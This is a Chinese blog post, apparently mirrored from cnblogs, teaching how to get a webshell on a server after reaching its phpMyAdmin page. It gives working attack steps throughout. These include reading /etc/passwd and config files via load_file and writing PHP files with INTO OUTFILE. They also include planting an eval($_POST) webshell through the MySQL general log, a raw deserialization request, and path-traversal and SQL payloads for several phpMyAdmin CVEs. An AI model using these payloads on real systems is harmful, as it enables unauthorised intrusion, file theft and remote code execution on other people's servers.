zoukankan      html  css  js  c++  java
  • phpMyAdmin getshell 学习

    参考文章

    phpmyadmin4.8.1后台getshell
    phpMyAdmin 渗透利用总结
    CVE-2018-19968 phpmyadmin文件包含getshell连载

    前言

    拿到一个 phpMyAdmin 管理页面后怎么 GetShell ?

    信息搜集

    版本

    注:phpMyAdmin 版本还可以在这里查看
    自带文件/phpMyAdmin/README

    获取网站真实路径

    • phpinfo
      phpinfo 页面泄露,具体在 _SERVER["SCRIPT_FILENAME"]_SERVER["CONTEXT_DOCUMENT_ROOT"]_SERVER["DOCUMENT_ROOT"]Server Root 等处
      如:

    • 读取配置文件
      MySQL load_file 函数读取配置文件
      条件: 执行select @@secure_file_priv得到空的返回值,而不是 NULL;文件大小不能大于PHP限制的max_allowed_packet,同时magic_quotes_gpc=off

      其中:
      当 secure_file_priv 的值为 NULL ,表示限制 mysql 不允许导入/导出
      值为 /tmp/ ,表示限制 mysql 的导入|导出只能发生在 /tmp/ 目录下
      值为空,表示不对 mysql 的导入/导出做限制

    默认配置文件有:

    Windows:
    c:windowsphp.ini                                    php配置文件
    c:windowssystem32inetsrvMetaBase.xml              IIS虚拟主机配置文件
    
    Linux:
    /etc/php.ini                                           php配置文件
    /etc/httpd/conf.d/php.conf
    /etc/httpd/conf/httpd.conf                             Apache配置文件
    /usr/local/apache/conf/httpd.conf
    /usr/local/apache2/conf/httpd.conf
    /usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
    

    具体命令:select load_file("/etc/passwd")

    • @@datadir参数看 mysql 路径 反猜绝对路径
      select @@datadir

    • 构造报错页面
      输入一些错误的路径,导致网页报错(页面访问报错,sql 注入报错、文件包含报错)

    • 特定 CMS 默认路径

    dedecms:
    /member/templets/menulit.php
    plus/paycenter/alipay/return_url.php
    plus/paycenter/cbpayment/autoreceive.php
    paycenter/nps/config_pay_nps.php
    plus/task/dede-maketimehtml.php
    plus/task/dede-optimize-table.php
    plus/task/dede-upcache.php
    
    WP:
    wp-admin/includes/file.php
    wp-content/themes/baiaogu-seo/footer.php
    

    其他可在网上搜索

    • google hack
      利用 百度 谷歌 fofa zoomeye 等搜索引擎
      搜索关键字 error 等等

    一般版本 GetShell

    前提条件

    查看读写文件路径:show variables like "%secure_file_priv%"select @@secure_file_priv 结果为空

    常规写 shell

    需要知道绝对路径、数据库root权限、数据库有写权限
    具体语句:SELECT "<?php phpinfo();?>" INTO OUTFILE "D:\software\phpstudy_pro\WWW\shell.php"
    注意点:windows下,须要双反斜线,否则会转义
    然后使用菜刀/蚁剑等链接即可

    日志写 shell

    MySQL 5.0+ 的版本会自动创建日志文件,且在服务运行的情况下修改全局变量也是可以变动文件位置的,但须要对生成日志的目录有可读可写的权限

    general log 指的是日志保存状态

    show variables like "general_log%";;  // 查询日志保存状态,ON代表开启 OFF代表关闭。
    set global  general_log='on';   // 设置为 on
    

    general log file 指的是日志的保存路径

    set global  general_log_file ="D:\software\phpstudy_pro\WWW\shell.php"
    

    由于执行的语句都会写入到日志文件中,所以我们查询语句select "<?php eval($_POST[R0oKi3]);?>"便会将其记录到指定的日志文件中
    然后使用菜刀/蚁剑等链接即可

    特殊版本

    phpMyAdmin 2.x版本 反序列化漏洞任意文件读取

    POST /scripts/setup.php HTTP/1.1
    Host: www.test.com
    Accept-Encoding: gzip, deflate Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded Content-Length: 80
    
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    

    phpmyadmin 4.0.x/4.4.x RCE(CVE-2016-5734)

    POC
    条件:
    phpMyAdmin版本:4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本;能登陆后台;PHP版本: 4.3.0-5.4.6
    用法:python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://test.com,注意: -c 指要执行的 php 代码

    phpMyAdmin 4.8.1 文件包含漏洞(CVE-2018-12613)

    文章:phpmyadmin4.8.1远程文件包含漏洞

    • 利用方式一

    前提:能进管理页面

    1. 访问 http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 页面
    2. 执行如下 sql 语句 SELECT '';
    3. 查看自己的 seesionid
    4. http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_ 4u1jrl5dd5eshq332kto80bpp0qnmn0e 即包含你的session文件,即可 getshell
    • 利用方式二

    前提:能进管理页面,查询数据库绝对路径

    1. select @@datadir; 查看数据库绝对路径
    2. 创建数据库,并插入 php 一句话
    CREATE DATABASE test;
    use test;
    CREATE TABLE test(code varchar(100));
    INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");
    
    1. 包含该数据库文件
    http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../../software/phpstudy_pro/Extensions/MySQL5.7.26/data/test/test.MYD
    

    phpMyAdmin 4.0.1--4.2.12 任意文件包含(CVE-2014-8959)

    前提:能进管理页面;PHP版本 < 5.3.4(00截断);已知网站绝对路径
    http://test.com/gis_data_editor.php?token=你的token值&gis_data[gis_type]=/../../../../phpinfo.txt%00
    可找上传点上传图片马等文件 getshell

    phpMyAdmin 4.8.0--4.8.3 任意文件包含/RCE(CVE-2018-19968)

    1. 登陆后台,创建数据库
    CREATE DATABASE test;
    CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY );
    INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';
    

    1. 访问 http://test.com/chk_rel.php?fixall_pmadb=1&db=test 页面

    2. 查看 COOKIE 中 phpMyAdmin 的值

    3. 将表 pma__columninfo 中将 sess_*** 中的 *** 替换成你刚刚查找的 phpMyAdmin 值
      执行下列语句:

    INSERT INTO pma__column_info SELECT '1', 'test', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_5459575785b3388d23cce3644f2c482f','plop';
    # 注意,这里的 sess_5459575785b3388d23cce3644f2c482f 文件需要改成自己对应的文件
    

    1. 访问 http://test.com/tbl_replace.php?db=test&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
      即可看到恶意代码已被包含
  • 相关阅读:
    记录——framework探测定位程序集与core探测定位程序集
    C# 特定框架适用特定代码
    python读取excel代码
    时间比较
    ORA 01791错误
    MongoDB.1什么是MongoDB
    Mayatis 异常之result maps collection already contains value...
    怎样做好黄焖鸡
    关于foreach
    C#之out,ref关键字
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13453359.html
Copyright © 2011-2022 走看看